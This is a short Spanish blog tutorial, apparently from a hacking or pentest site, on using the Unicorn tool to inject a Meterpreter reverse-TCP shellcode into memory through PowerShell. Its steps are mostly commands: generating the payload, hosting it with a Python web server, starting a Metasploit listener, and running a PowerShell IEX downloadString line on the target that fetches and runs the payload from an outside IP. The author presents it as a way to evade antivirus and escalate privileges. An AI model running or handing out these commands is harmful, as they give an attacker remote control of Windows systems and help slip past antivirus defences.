Inyectando una shellcode directamente en memoria mediante Powershell
Cuando logramos ejecutar código remoto en un entorno windows podemos tener inconvenientes en cuando la generación de una shell para iniciar con la escalda de privilegios, un método muy conocido es aprovechar Powershell para inyectar una ShellCode directamente en memoria para comprometer el sistema.
1 – Descargamos Unicorn
git clone https://github.com/trustedsec/unicorn
2 – Accedemos a el directorio creado en la ruta actual
cd unicorn/
3 – Ejecutamos la instrucción para que se genere el exploit en un .txt a lo cual solo enviaremos dos parámetros la ip y el puerto del equipo que recibirá la Shell. (Recuerda remplazar inclusive los <>)
./unicorn.py windows/meterpreter/reverse_tcp <ip> <port>
4 – Ahora procedemos a verificar que existan los archivos «unicorn.rc» y «powershell_attack.txt» en el directorio actual
ls
5 – Ahora debemos cambiar la extensión del archivo powershell_attack.txt a exploit.html y procedemos a utilizar SimpleHTTPServer para poder alojar el exploit y descargarlo desde la maquina objetivo:
cp powershell_attack.txt exploit.html python -m SimpleHTTPServer 1236
6 – Procedemos a abrir nuestra msfconsole con los parámetros del archivo «unicorn.rc»
msfconsole -r unicorn.rc
8 – Nuestra msfconsole queda en escucha para cuando se ejecute el script en la maquina objetivo, desde el objetivo debemos ejecutar la siguiente linea de código donde interpretara y creara la inyección de shellcode
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.121:1236/exploit.html')"
cuando logremos ejecutar esta linea podremos ver que la sesión que tenemos activa en el meterpreter se abrirá una shell
ahora tenemos una shell interactiva con la cual podemos proceder a subir los privilegios y comprometer totalmente la maquina, espero esta información sea de utilidad en algún momento que necesites evadir un Antivirus.
Saludos
0x00Sector!Social
Un articulo muy interesante. Muchas gracias por la ilustración. Saludos.